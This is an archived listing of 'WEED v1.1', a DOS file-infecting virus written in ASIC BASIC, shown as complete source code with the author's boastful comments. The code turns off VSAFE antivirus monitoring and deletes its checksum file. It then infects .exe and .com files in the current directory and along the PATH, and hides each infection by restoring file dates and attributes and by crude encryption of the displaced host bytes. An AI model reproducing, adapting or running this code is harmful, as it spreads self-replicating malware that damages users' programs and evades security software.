home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CASIOCOL.ZIP / WEEDV11.ZIP / WEEDV11.ASI < prev   
Encoding:
Text File  |  1997-02-12  |  7.1 KB  |  350 lines

  1. dim virus_data(4080)
  2. dim host_data(4080)
  3. weedsig$="WEED - v1.1"
  4. gosub bye_vsafe:
  5. vsafebak=cx
  6. gosub chklist:
  7. call sub "exename" hostname$
  8. yourparm$=command$
  9. yourparm$=ltrim$(yourparm$)
  10. yourparm$=rtrim$(yourparm$)
  11. yourparm$=" "+yourparm$
  12.  
  13. rem My new WEED virus! Oh so much more deadly! So much more spiffy!
  14.  
  15. filename$=hostname$
  16. hostsize&=filelen(filename$)
  17. virus_size=4080
  18. virus_size&=4080&
  19. gosub get_attr:
  20. oldattr=newattr
  21. newattr=0
  22. gosub set_attr:
  23. gosub open_file:
  24. bytesize=virus_size
  25. dx=varptr(virus_data(0))
  26. gosub read_file:
  27. gosub close_file:
  28. newattr=oldattr
  29. gosub set_attr:
  30.  
  31. rem Ok, now infect files presently in current directory!
  32. virupath$=""
  33. proc$="*.exe"
  34. gosub start_virus:
  35. proc$="*.com"
  36. gosub start_virus:
  37.  
  38. rem Ok, now were going to target files along the path :)
  39.      for n=0 to 100
  40.           call sub "path", n, virupath$
  41.           i=LEN(virupath$)
  42.           if i=0 then done:
  43.           b$=right$(virupath$,1)
  44.         if b$<>"\" then
  45.         virupath$=virupath$+"\"
  46.         endif
  47.         out1$="*.exe"
  48.         out2$="*.com"
  49.         proc$=virupath$+out1$
  50.         gosub start_virus:
  51.         proc$=virupath$+out2$
  52.         gosub start_virus:
  53.         next n
  54.  
  55.  
  56.  
  57. done:
  58. filename$=hostname$
  59. hostsize&=filelen(filename$)
  60. gosub get_attr:
  61. oldattr=newattr
  62. newattr=0
  63. gosub set_attr:
  64. gosub open_file:
  65. gosub get_fdt:
  66. hosttemp&=hostsize&-virus_size&
  67. move_way&=hosttemp&
  68. gosub move_file_pointer:
  69. bytesize=virus_size
  70. dx=varptr(host_data(0))
  71. gosub read_file:
  72. move_way&=0&
  73. gosub move_file_pointer:
  74. gosub dec_host:
  75. dx=varptr(host_data(0))
  76. bytesize=virus_size
  77. gosub write_file:
  78. gosub set_fdt:
  79. gosub close_file:
  80. gosub strip_garbage:
  81. newattr=oldattr
  82. gosub set_attr:
  83. call hostname$, yourparm$
  84. gosub bye_vsafe:
  85. filename$=hostname$
  86. gosub lets_infect:
  87.  
  88. rem Hmm, lets see if our new host was able to make any files!
  89. virupath$=""
  90. proc$="*.exe"
  91. gosub start_virus:
  92. proc$="*.com"
  93. gosub start_virus:
  94.  
  95. end
  96. rem We have completed replication. all stop!
  97.  
  98. start_virus:
  99. errcode=0
  100. attr=6
  101. kewl=0
  102.        CALL SUB "FindFirstF" proc$ Attr ErrCode
  103.        WHILE ErrCode = 0
  104.           CALL SUB "GetNameF" FileName$
  105.   gosub infect_check:
  106. if infected=0 then
  107. gosub lets_infect:
  108. endif
  109.          CALL SUB "FindNextF" ErrCode
  110.          if kewl>4 then
  111.          errcode=1
  112.          endif
  113.    WEND
  114.  
  115. return
  116.  
  117. Lets_infect:
  118. filename$=virupath$+filename$
  119. hostsize&=filelen(filename$)
  120. gosub get_attr:
  121. oldattr=newattr
  122. newattr=0
  123. gosub set_attr:
  124. gosub open_file:
  125. gosub get_fdt:
  126. bytesize=virus_size
  127. dx=varptr(host_data(0))
  128. gosub read_file:
  129. move_way&=0&
  130. gosub move_file_pointer:
  131. bytesize=virus_size
  132. dx=varptr(virus_data(0))
  133. gosub write_file:
  134. move_way&=hostsize&
  135. gosub move_file_pointer:
  136. gosub enc_host:
  137. dx=varptr(host_data(0))
  138. bytesize=virus_size
  139. gosub write_file:
  140. gosub set_fdt:
  141. kewl=kewl+1
  142. gosub close_file:
  143. newattr=oldattr
  144. gosub set_attr:
  145. return
  146.  
  147.  
  148. REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE!
  149. REM ******* THESE AREAS MUST NOT BE FOOLED WITH!
  150.  
  151. get_attr:
  152. AX = &HEX4300
  153. DX = VARPTR(Filename$)
  154. CX = NewAttr
  155. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  156. return
  157.  
  158. set_attr:
  159. AX = &HEX4301
  160. DX = VARPTR(Filename$)
  161. CX = NewAttr
  162. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  163. return
  164.  
  165. bye_vsafe:
  166. ax=&hexfa02
  167. dx=&hex5945
  168. bx=0
  169. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  170. return
  171.  
  172. res_vsafe:
  173. ax=&hexfa02
  174. dx=&hex5945
  175. bx=vsafebak
  176. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  177. return
  178.  
  179. get_fdt:
  180. if file_handle>4 then
  181. AX=&HEX5700
  182. BX=FILE_HANDLE
  183. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  184. NEWDATE=CX
  185. NEWTIME=DX
  186. endif
  187. RETURN
  188.  
  189. set_fdt:
  190. if file_handle>4 then
  191. AX=&HEX5701
  192. BX=FILE_HANDLE
  193. CX=NEWDATE
  194. DX=NEWTIME
  195. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  196. endif
  197. RETURN
  198.  
  199. chklist:
  200. temp1$=filename$
  201. filename$="chklist.ms"
  202. newattr=0
  203. gosub set_attr:
  204. kill filename$
  205. filename$=temp1$
  206. return
  207.  
  208. rem DOS int file i/o driven code beyond this point :)
  209.  
  210. rem ax=&hex3d00
  211. rem ax opens file for read in this mode :-)
  212. rem ax=&hex3d01
  213. rem ax opens file for write in this mode :-)
  214. rem ax=&hex3d02
  215. rem ax opens file for read/write access :) hehehe
  216.  
  217. open_file:
  218. AX=&HEX3D02
  219. DX = VARPTR(Filename$)
  220. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  221. file_handle=ax
  222. return
  223.  
  224. write_file:
  225. rem this routine will write selected bytes at whatever current position
  226. rem from whatever buffer i choose into the file.
  227. rem if the routine did not write all data ax will not equal cx upon
  228. rem return from int call.
  229. rem define dx register before calling this routine to point to the
  230. rem memory address of the buffer area you want to write from. like so:
  231. rem dx=varptr(buffer(0))
  232. rem cx is how many bytes to write :)
  233. if file_handle>4 then
  234. ax=&hex4000
  235. bx=file_handle
  236. cx=bytesize
  237. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  238. byteswritten=ax
  239. endif
  240. return
  241.  
  242. read_file:
  243. rem as the name implies, it reads bytes into a buffer. :-)
  244. rem as with write_file, you need to predefine the dx register for the
  245. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  246. rem if you don't, this routine will not work, or will overwrite some
  247. rem other section of memory. And for virus coding, this is very bad! :)
  248. rem cx register is how many bytes to read :)
  249. if file_handle>4 then
  250. ax=&hex3f00
  251. bx=file_handle
  252. cx=bytesize
  253. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  254. bytesread=ax
  255. endif
  256. return
  257.  
  258. close_file:
  259. rem This routine will close the selected file.
  260. rem do not try to close handle 2, very nasty... :-(
  261. if file_handle>4 then
  262. ax=&hex3e00
  263. bx=file_handle
  264. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  265. endif
  266. return
  267.  
  268. move_file_pointer:
  269. rem be sure to set variable move_way to whereever you wish to go
  270. rem it can be a long integer :-)
  271. rem get the target location, divide that by 65536
  272. rem Also subtract value of a& from the original size.
  273. rem set both registers for real numbers, no mistake here.. Will fuckup
  274. rem file pointer routine if I don't. :)
  275. rem a&=move_way&/65536&
  276. rem b&=a&-move_way&
  277. rem a&=abs(a&)
  278. rem b&=abs(b&)
  279. rem rem Now, dump the registers :)
  280. rem if file_handle>4 then
  281. rem ax=&hex4200
  282. rem cx=a&
  283. rem dx=b&
  284. rem bx=file_handle
  285. rem int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  286. rem endif
  287. rem return
  288. method=0
  289. call sub "fseek" file_handle, move_way&, method, errcode
  290. return
  291.  
  292. enc_host:
  293. rem Routine to encrypt the host data... We encrypt it before
  294. rem appending. Yea, the encryption is lame... But it serves it's
  295. rem purpose fine.
  296. for x=0 to virus_size
  297. a=host_data(x)
  298. a=a+127
  299. a=a+192
  300. a=a+x
  301. host_data(x)=a
  302. next x
  303. return
  304.  
  305. dec_host:
  306. rem Routine to decrypt the host data... We need to decrypt it before
  307. rem replacing it and passing control to it. And yes, the decryption
  308. rem sequence is lame... But, I don't give a fuck!
  309. for x=0 to virus_size
  310. a=host_data(x)
  311. a=a-127
  312. a=a-192
  313. a=a-x
  314. host_data(x)=a
  315. next x
  316. return
  317.  
  318. infect_check:
  319. gosub get_attr:
  320. newattr=oldattr
  321. newattr=0
  322. gosub set_attr:
  323. sig$=""
  324. open"r",1,filename$
  325. a=filepos(1,28)
  326. for z=1 to 4
  327. input #1,y$ byte
  328. sig$=sig$+y$
  329. next z
  330. close 1
  331. newattr=oldattr
  332. gosub set_attr:
  333. if sig$="╘┘Σ█" then
  334. infected=1
  335. else
  336. infected=0
  337. endif
  338. return
  339.  
  340. strip_garbage:
  341. open"r",1,filename$
  342. a=filepos(1,hosttemp&)
  343. print #1,"" NONULL
  344. CLOSE 1
  345. gosub open_file:
  346. gosub set_fdt:
  347. gosub close_file:
  348. return
  349.  
  350.